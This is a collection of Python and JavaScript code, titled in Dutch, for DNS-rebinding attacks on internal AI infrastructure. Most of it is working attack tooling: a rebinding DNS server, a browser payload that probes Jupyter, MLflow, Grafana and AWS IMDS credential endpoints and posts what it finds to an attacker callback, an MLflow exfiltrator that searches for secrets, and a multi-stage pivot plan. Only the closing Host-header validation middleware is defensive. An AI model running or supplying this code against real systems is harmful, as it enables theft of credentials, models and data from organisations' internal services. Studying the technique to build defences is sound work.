DNS-rebinding-aanvallen tegen AI-services

"""
DNS-rebinding-aanvalsserver voor het targeten van interne AI-services.
 
Dit implementeert:
1. Een aangepaste DNS-server die afwisselt tussen externe en interne IP's
2. Een HTTP-server die de aanvalspayload serveert
3. Een callback-ontvanger voor geëxfiltreerde data
 
WAARSCHUWING: Alleen voor geautoriseerd beveiligingstesten. DNS-rebinding-aanvallen
tegen systemen zonder toestemming zijn illegaal.
"""
 
import socket
import struct
import threading
import http.server
import json
import time
from dataclasses import dataclass
from typing import Optional
 
@dataclass
class RebindConfig:
    """Configuratie voor DNS-rebinding-aanval."""
    domain: str              # Door aanvaller beheerd domein
    external_ip: str         # Server-IP van de aanvaller
    internal_ip: str         # IP van interne AI-doelservice
    internal_port: int       # Poort van de doelservice
    ttl: int = 1             # DNS-TTL in seconden
    rebind_after: int = 2    # Seconden voordat naar intern IP wordt overgeschakeld
 
class DNSRebindServer:
    """
    Minimale DNS-server die het externe IP retourneert voor initiële queries
    en het interne IP voor daaropvolgende queries (na rebind_after seconden).
    """
 
    def __init__(self, config: RebindConfig, listen_port: int = 53):
        self.config = config
        self.listen_port = listen_port
        self.first_query_time: dict[str, float] = {}
 
    def build_dns_response(
        self,
        query_data: bytes,
        response_ip: str,
    ) -> bytes:
        """Bouw een minimale DNS A-record-response."""
        # Parse de query-header
        transaction_id = query_data[:2]
 
        # Bouw de response-header
        flags = b'\x81\x80'  # Standaard response, geen fout
        questions = b'\x00\x01'
        answers = b'\x00\x01'
        authority = b'\x00\x00'
        additional = b'\x00\x00'
 
        header = transaction_id + flags + questions + answers + authority + additional
 
        # Kopieer de question-sectie uit de query
        # Sla de header over (12 bytes), vind het einde van de question
        question_end = 12
        while query_data[question_end] != 0:
            question_end += query_data[question_end] + 1
        question_end += 5  # null-byte + QTYPE(2) + QCLASS(2)
        question = query_data[12:question_end]
 
        # Bouw het answer: pointer naar naam in question + A-record
        answer = b'\xc0\x0c'  # Pointer naar naam in question-sectie
        answer += b'\x00\x01'  # Type A
        answer += b'\x00\x01'  # Class IN
        answer += struct.pack('>I', self.config.ttl)  # TTL
        answer += b'\x00\x04'  # RDLENGTH
        answer += socket.inet_aton(response_ip)  # IP-adres
 
        return header + question + answer
 
    def handle_query(self, data: bytes, client_addr: tuple) -> bytes:
        """
        Handel DNS-query af. Retourneer aanvankelijk het externe IP,
        schakel daarna na de rebind-vertraging over naar het interne IP.
        """
        client_key = f"{client_addr[0]}"
        now = time.time()
 
        if client_key not in self.first_query_time:
            self.first_query_time[client_key] = now
 
        elapsed = now - self.first_query_time[client_key]
 
        if elapsed < self.config.rebind_after:
            # Eerste fase: retourneer het externe IP van de aanvaller
            response_ip = self.config.external_ip
            print(f"[DNS] {client_key}: Responding with external IP {response_ip}")
        else:
            # Rebind-fase: retourneer het interne doel-IP
            response_ip = self.config.internal_ip
            print(f"[DNS] {client_key}: REBIND -> internal IP {response_ip}")
 
        return self.build_dns_response(data, response_ip)
 
    def serve(self) -> None:
        """Start de DNS-server."""
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.bind(('0.0.0.0', self.listen_port))
        print(f"[DNS] Listening on port {self.listen_port}")
 
        while True:
            data, addr = sock.recvfrom(512)
            try:
                response = self.handle_query(data, addr)
                sock.sendto(response, addr)
            except Exception as e:
                print(f"[DNS] Error handling query from {addr}: {e}")
 
def generate_attack_payload(config: RebindConfig) -> str:
    """
    Genereer de HTML/JavaScript-payload die wordt geserveerd tijdens de initiële
    verbinding en die wordt uitgevoerd nadat DNS rebinding plaatsvindt.
    """
    return f"""<!DOCTYPE html>
<html>
<head><title>AI Security Assessment</title></head>
<body>
<div id="status">Initializing...</div>
<script>
const TARGET_PORT = {config.internal_port};
const REBIND_DELAY = {config.rebind_after * 1000 + 2000};
const CALLBACK_URL = "http://{config.external_ip}:9090/callback";
 
// Common AI service endpoints to probe after rebinding
const AI_ENDPOINTS = [
    // Jupyter Notebook
    {{path: "/api/sessions", name: "Jupyter Sessions"}},
    {{path: "/api/kernels", name: "Jupyter Kernels"}},
    {{path: "/api/contents", name: "Jupyter File Browser"}},
    // MLflow
    {{path: "/api/2.0/mlflow/experiments/list", name: "MLflow Experiments"}},
    {{path: "/api/2.0/mlflow/registered-models/list", name: "MLflow Models"}},
    // TensorBoard
    {{path: "/data/runs", name: "TensorBoard Runs"}},
    {{path: "/data/scalars", name: "TensorBoard Scalars"}},
    // TorchServe Management
    {{path: "/models", name: "TorchServe Models"}},
    // Triton
    {{path: "/v2", name: "Triton Server Info"}},
    {{path: "/v2/repository/index", name: "Triton Model Repository"}},
    // Prometheus/Grafana metrics
    {{path: "/metrics", name: "Prometheus Metrics"}},
    {{path: "/api/datasources", name: "Grafana Datasources"}},
    // Cloud metadata (if accessible through rebinding)
    {{path: "/latest/meta-data/iam/security-credentials/", name: "AWS IMDSv1"}},
];
 
function updateStatus(msg) {{
    document.getElementById("status").innerText = msg;
    console.log(msg);
}}
 
function exfiltrate(endpoint_name, data) {{
    // Send discovered data back to attacker's callback server
    fetch(CALLBACK_URL, {{
        method: "POST",
        mode: "no-cors",
        headers: {{"Content-Type": "application/json"}},
        body: JSON.stringify({{
            endpoint: endpoint_name,
            data: data,
            timestamp: new Date().toISOString()
        }})
    }}).catch(() => {{}});
}}
 
async function probeEndpoint(endpoint) {{
    try {{
        const resp = await fetch(
            `http://{config.domain}:${{TARGET_PORT}}${{endpoint.path}}`,
            {{credentials: "omit"}}
        );
        if (resp.ok) {{
            const text = await resp.text();
            updateStatus(`Found: ${{endpoint.name}}`);
            exfiltrate(endpoint.name, text.substring(0, 10000));
            return {{name: endpoint.name, status: resp.status, data: text}};
        }}
    }} catch(e) {{
        // Connection refused or CORS error — endpoint not available
    }}
    return null;
}}
 
async function runAttack() {{
    updateStatus("Waiting for DNS rebinding...");
    // Wait for DNS cache to expire and rebind to internal IP
    await new Promise(resolve => setTimeout(resolve, REBIND_DELAY));
 
    updateStatus("DNS rebind complete. Probing internal services...");
 
    const results = [];
    for (const endpoint of AI_ENDPOINTS) {{
        const result = await probeEndpoint(endpoint);
        if (result) {{
            results.push(result);
        }}
    }}
 
    updateStatus(`Scan complete. Found ${{results.length}} accessible endpoints.`);
    exfiltrate("scan_summary", JSON.stringify(results.map(r => r.name)));
}}
 
// Start attack after page loads
runAttack();
</script>
</body>
</html>"""
 
class CallbackServer(http.server.BaseHTTPRequestHandler):
    """HTTP-server om geëxfiltreerde data van de DNS-rebinding-aanval te ontvangen."""
 
    collected_data: list = []
 
    def do_POST(self):
        content_length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(content_length)
        try:
            data = json.loads(body)
            CallbackServer.collected_data.append(data)
            print(f"[CALLBACK] Received: {data.get('endpoint', 'unknown')}")
        except json.JSONDecodeError:
            print(f"[CALLBACK] Raw data: {body[:200]}")
 
        self.send_response(200)
        self.end_headers()
 
    def log_message(self, format, *args):
        pass  # Onderdruk standaard-logging
 
if __name__ == "__main__":
    import sys
 
    if len(sys.argv) != 4:
        print(
            f"Usage: {sys.argv[0]} <domain> <internal_ip> <internal_port>\n"
            f"Example: {sys.argv[0]} evil.example.com 10.0.1.50 8888"
        )
        sys.exit(1)
 
    config = RebindConfig(
        domain=sys.argv[1],
        external_ip="0.0.0.0",  # Wordt bepaald vanuit de interface
        internal_ip=sys.argv[2],
        internal_port=int(sys.argv[3]),
    )
 
    # Genereer en sla de aanvalspayload op
    payload = generate_attack_payload(config)
    with open("index.html", "w") as f:
        f.write(payload)
    print(f"[*] Attack payload written to index.html")
    print(f"[*] Target: {config.internal_ip}:{config.internal_port}")
    print(f"[*] Start DNS server on port 53 and HTTP server on port 80")

"""
Post-rebinding-exploitatiescript voor MLflow-tracking-server.
Nadat DNS rebinding slaagt, extraheert deze code (draaiend in de
browsercontext van het slachtoffer) experimentdata en modelartefacten.
 
Deze Python-versie demonstreert dezelfde logica die als
JavaScript in de browserpayload zou draaien.
"""
 
import requests
from typing import Any
 
class MLflowExfiltrator:
    """
    Extraheer data uit een MLflow-tracking-server die wordt benaderd
    via DNS rebinding (of directe toegang tijdens testen).
    """
 
    def __init__(self, base_url: str):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
 
    def list_experiments(self) -> list[dict]:
        """Lijst alle experimenten in de MLflow-instance op."""
        resp = self.session.get(
            f"{self.base_url}/api/2.0/mlflow/experiments/search",
            params={"max_results": 1000},
        )
        resp.raise_for_status()
        return resp.json().get("experiments", [])
 
    def get_runs(self, experiment_id: str) -> list[dict]:
        """Verkrijg alle runs voor een experiment."""
        resp = self.session.post(
            f"{self.base_url}/api/2.0/mlflow/runs/search",
            json={
                "experiment_ids": [experiment_id],
                "max_results": 1000,
            },
        )
        resp.raise_for_status()
        return resp.json().get("runs", [])
 
    def extract_sensitive_params(
        self, runs: list[dict]
    ) -> list[dict]:
        """
        Extraheer parameters die gevoelige informatie kunnen bevatten
        zoals datapaden, API-sleutels of connection strings.
        """
        sensitive_patterns = [
            "password", "secret", "key", "token", "credential",
            "connection_string", "database", "s3://", "gs://",
            "azure", "endpoint", "api_key",
        ]
        sensitive_findings = []
 
        for run in runs:
            run_id = run.get("info", {}).get("run_id", "unknown")
            params = run.get("data", {}).get("params", [])
 
            for param in params:
                key = param.get("key", "").lower()
                value = param.get("value", "")
 
                for pattern in sensitive_patterns:
                    if pattern in key or pattern in value.lower():
                        sensitive_findings.append({
                            "run_id": run_id,
                            "param_key": param["key"],
                            "param_value": value,
                            "matched_pattern": pattern,
                        })
                        break
 
        return sensitive_findings
 
    def list_registered_models(self) -> list[dict]:
        """Lijst alle geregistreerde modellen op."""
        resp = self.session.get(
            f"{self.base_url}/api/2.0/mlflow/registered-models/list",
            params={"max_results": 1000},
        )
        resp.raise_for_status()
        return resp.json().get("registered_models", [])
 
    def full_extraction(self) -> dict[str, Any]:
        """Voer volledige extractie uit tegen de MLflow-instance."""
        results: dict[str, Any] = {
            "experiments": [],
            "sensitive_params": [],
            "registered_models": [],
        }
 
        experiments = self.list_experiments()
        results["experiments"] = [
            {"id": e.get("experiment_id"), "name": e.get("name")}
            for e in experiments
        ]
 
        for exp in experiments:
            exp_id = exp.get("experiment_id")
            if exp_id:
                runs = self.get_runs(exp_id)
                sensitive = self.extract_sensitive_params(runs)
                results["sensitive_params"].extend(sensitive)
 
        results["registered_models"] = self.list_registered_models()
 
        return results
 
if __name__ == "__main__":
    import sys
    import json
 
    url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
    extractor = MLflowExfiltrator(url)
 
    try:
        results = extractor.full_extraction()
        print(json.dumps(results, indent=2, default=str))
    except requests.ConnectionError:
        print(f"Could not connect to MLflow at {url}")
    except Exception as e:
        print(f"Error during extraction: {e}")

"""
Meertraps-DNS-rebinding-orchestrator voor pivoting door AI-infrastructuur.
Coördineert meerdere rebinding-rondes om progressief
diepere interne services te benaderen.
"""
 
import json
import time
from typing import Optional
from dataclasses import dataclass, field
 
@dataclass
class RebindStage:
    """Configuratie voor één fase van meertraps-rebinding."""
    name: str
    target_ip: str
    target_port: int
    endpoints_to_probe: list[str]
    data_to_extract: list[str]
    next_stage_info: Optional[str] = None  # Info om te zoeken om de volgende fase te plannen
 
@dataclass
class PivotPlan:
    """Meertraps-rebinding-aanvalsplan."""
    stages: list[RebindStage] = field(default_factory=list)
 
    def add_stage(self, stage: RebindStage) -> None:
        self.stages.append(stage)
 
    def generate_payload(self, callback_url: str) -> str:
        """Genereer een JavaScript-payload die alle fasen sequentieel uitvoert."""
        stages_json = json.dumps([
            {
                "name": s.name,
                "ip": s.target_ip,
                "port": s.target_port,
                "endpoints": s.endpoints_to_probe,
                "extract": s.data_to_extract,
            }
            for s in self.stages
        ])
 
        return f"""
// Multi-stage DNS rebinding payload
const STAGES = {stages_json};
const CALLBACK = "{callback_url}";
let stageResults = {{}};
 
async function executeStage(stage, stageIndex) {{
    console.log(`Executing stage ${{stageIndex}}: ${{stage.name}}`);
    // Signal DNS server to rebind to this stage's target
    await fetch(`${{CALLBACK}}/rebind?ip=${{stage.ip}}&port=${{stage.port}}`);
    // Wait for DNS cache to expire
    await new Promise(r => setTimeout(r, 3000));
 
    let results = {{}};
    for (const endpoint of stage.endpoints) {{
        try {{
            const resp = await fetch(
                `http://${{window.location.hostname}}:${{stage.port}}${{endpoint}}`,
                {{credentials: 'omit'}}
            );
            if (resp.ok) {{
                results[endpoint] = await resp.text();
            }}
        }} catch(e) {{}}
    }}
 
    stageResults[stage.name] = results;
    // Send results back to attacker
    await fetch(`${{CALLBACK}}/results`, {{
        method: 'POST',
        mode: 'no-cors',
        body: JSON.stringify({{stage: stage.name, data: results}})
    }});
    return results;
}}
 
async function runAllStages() {{
    for (let i = 0; i < STAGES.length; i++) {{
        await executeStage(STAGES[i], i);
    }}
}}
runAllStages();
"""
 
def create_ai_infrastructure_pivot_plan() -> PivotPlan:
    """
    Maak een pivot-plan voor een typische AI-infrastructuurlay-out.
    Fase 1: Verkenning via blootgestelde demo/dashboard
    Fase 2: Toegang tot het modelregister voor modelinventarisatie
    Fase 3: Toegang tot metadata van trainingsdata-opslag
    """
    plan = PivotPlan()
 
    plan.add_stage(RebindStage(
        name="recon_dashboard",
        target_ip="10.0.1.10",
        target_port=3000,
        endpoints_to_probe=[
            "/api/datasources",  # Grafana-datasources onthullen interne services
            "/api/search",        # Grafana-dashboards onthullen infrastructuur
        ],
        data_to_extract=["datasource_urls", "dashboard_names"],
        next_stage_info="Look for MLflow/model registry URLs in datasources",
    ))
 
    plan.add_stage(RebindStage(
        name="model_registry",
        target_ip="10.0.1.20",
        target_port=5000,
        endpoints_to_probe=[
            "/api/2.0/mlflow/experiments/list",
            "/api/2.0/mlflow/registered-models/list",
        ],
        data_to_extract=["experiment_names", "model_artifacts_locations"],
        next_stage_info="Extract S3/GCS paths from artifact locations",
    ))
 
    plan.add_stage(RebindStage(
        name="jupyter_rce",
        target_ip="10.0.1.30",
        target_port=8888,
        endpoints_to_probe=[
            "/api/sessions",
            "/api/kernels",
            "/api/contents",
        ],
        data_to_extract=["running_notebooks", "filesystem_listing"],
    ))
 
    return plan

"""
Middleware voor Host-header-validatie in AI-services.
Drop-in-bescherming tegen DNS-rebinding-aanvallen.
"""
 
from functools import wraps
from typing import Callable, Optional
import ipaddress
 
class HostHeaderValidator:
    """
    Valideert HTTP-Host-headers om DNS rebinding te voorkomen.
    Staat requests alleen toe van expliciet toegestane hostnamen.
    """
 
    def __init__(
        self,
        allowed_hosts: list[str],
        allow_ip_access: bool = False,
    ):
        """
        Args:
            allowed_hosts: Lijst van toegestane hostnamen
                (bijv. ["mlflow.internal.company.com", "localhost"])
            allow_ip_access: Of directe IP-toegang is toegestaan.
                Zou False moeten zijn in productie.
        """
        self.allowed_hosts = set(
            h.lower().strip() for h in allowed_hosts
        )
        self.allow_ip_access = allow_ip_access
 
    def is_valid_host(self, host_header: str) -> bool:
        """Controleer of de Host-header-waarde is toegestaan."""
        if not host_header:
            return False
 
        # Verwijder de poort indien aanwezig
        host = host_header.split(":")[0].lower().strip()
 
        # Controleer tegen de toegestane lijst
        if host in self.allowed_hosts:
            return True
 
        # Sta optioneel directe IP-toegang toe (voor ontwikkeling)
        if self.allow_ip_access:
            try:
                ipaddress.ip_address(host)
                return True
            except ValueError:
                pass
 
        return False
 
    def flask_middleware(self, app):
        """Flask-middleware voor Host-header-validatie."""
        from flask import request, abort
 
        @app.before_request
        def check_host():
            host = request.host
            if not self.is_valid_host(host):
                abort(403, f"Host header '{host}' not allowed")
 
        return app
 
    def fastapi_middleware(self):
        """FastAPI/Starlette-middleware voor Host-header-validatie."""
        from starlette.middleware.base import (
            BaseHTTPMiddleware,
        )
        from starlette.responses import Response
 
        validator = self
 
        class HostValidationMiddleware(BaseHTTPMiddleware):
            async def dispatch(self, request, call_next):
                host = request.headers.get("host", "")
                if not validator.is_valid_host(host):
                    return Response(
                        content=f"Host header '{host}' not allowed",
                        status_code=403,
                    )
                return await call_next(request)
 
        return HostValidationMiddleware